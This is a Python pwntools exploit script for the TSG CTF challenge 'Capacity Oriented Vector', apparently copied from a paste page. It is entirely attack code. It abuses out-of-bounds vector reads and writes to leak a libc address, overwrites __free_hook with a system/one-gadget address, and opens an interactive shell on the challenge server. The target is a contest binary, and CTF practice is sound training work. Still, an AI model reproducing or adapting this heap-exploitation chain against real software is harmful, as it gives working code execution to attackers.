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TSG CTF Capacity Oriented Vector
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#!/usr/bin/env python | |
from pwn import * | |
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window | |
# context(terminal=['tmux', 'new-window']) # open new window | |
# libc = ELF('') | |
elf = ELF('./vector') | |
context(os='linux', arch=elf.arch) | |
#context(log_level='debug') # output verbose log | |
RHOST = "34.97.74.235" | |
RPORT = 30001 | |
LHOST = "127.0.0.1" | |
LPORT = 30001 | |
def section_addr(name, elf=elf): | |
return elf.get_section_by_name(name).header['sh_addr'] | |
def dbg(ss): | |
log.info("%s: 0x%x" % (ss, eval(ss))) | |
conn = None | |
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option | |
if opt in 'rl': | |
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) | |
elif opt == 'd': | |
gdbscript = """ | |
continue | |
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) | |
conn = gdb.debug(['./vector'], gdbscript=gdbscript) | |
else: | |
conn = process(['./vector']) | |
# conn = process(['./vector'], env={'LD_PRELOAD': ''}) | |
if opt == 'a': gdb.attach(conn) | |
def new(name): | |
conn.sendlineafter('> ', '1') | |
conn.sendlineafter('name:', str(name)) | |
def concat(s1, s2, d): | |
conn.sendlineafter('> ', '2') | |
conn.sendlineafter('name:', str(s1)) | |
conn.sendlineafter('name:', str(s2)) | |
conn.sendlineafter('name:', str(d)) | |
def push(name, val): | |
conn.sendlineafter('> ', '3') | |
conn.sendlineafter('name:', str(name)) | |
conn.sendlineafter('value:', str(val)) | |
def set(name, idx, val): | |
conn.sendlineafter('> ', '4') | |
conn.sendlineafter('name:', str(name)) | |
conn.sendlineafter('index:', str(idx)) | |
conn.sendlineafter('value:', str(val)) | |
def get(name, idx): | |
conn.sendlineafter('> ', '5') | |
conn.sendlineafter('name:', str(name)) | |
conn.sendlineafter('index:', str(idx)) | |
# exploit | |
log.info('Pwning') | |
new(1) | |
new(2) | |
new(0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
concat(0, 0, 0) | |
new(3) | |
new(4) | |
for i in range(0x20): | |
push(1, 0xff) | |
leak = 0 | |
for i in range(6): | |
get(2, 0x8c0+4+i) | |
conn.recvuntil(' val: ') | |
a = int(conn.recvline()) | |
if a < 0: | |
a += 0x100 | |
leak = leak + (a << (i*8)) | |
print hex(leak) | |
libc_base = leak - 0x3ebca0 | |
dbg('libc_base') | |
free_hook = p64(libc_base + 0x3ed8e8-4) | |
for i in range(6): | |
set(2, 0x64-8+i, ord(free_hook[i])) | |
set(2, 4+0x18, 0x00) | |
set(2, 4+0x18+1, 0x00) | |
set(2, 4+0x18+2, 0x10) | |
set(2, 4+0x18+5, 0xff) | |
set(2, 4+0x18+6, 0xff) | |
#set(2, 4+0x18+3, 0x10) | |
set(2, 4+0x38, 0x00) | |
set(2, 4+0x38+1, 0x00) | |
set(2, 4+0x38+2, 0x10) | |
set(2, 4+0x38+3, 0x10) | |
#new(5) | |
concat(3, 3, 6) | |
concat(3, 3, 7) | |
system = p64(libc_base + 0x4f440) | |
system = p64(libc_base + 0x4f322) | |
for i in range(6): | |
push(7, ord(system[i])) | |
set(2, 4+0x38, ord('s')) | |
set(2, 4+0x38+1, ord('h')) | |
set(2, 4+0x38+2, 0) | |
raw_input() | |
concat(3, 3, 3) | |
conn.interactive() |
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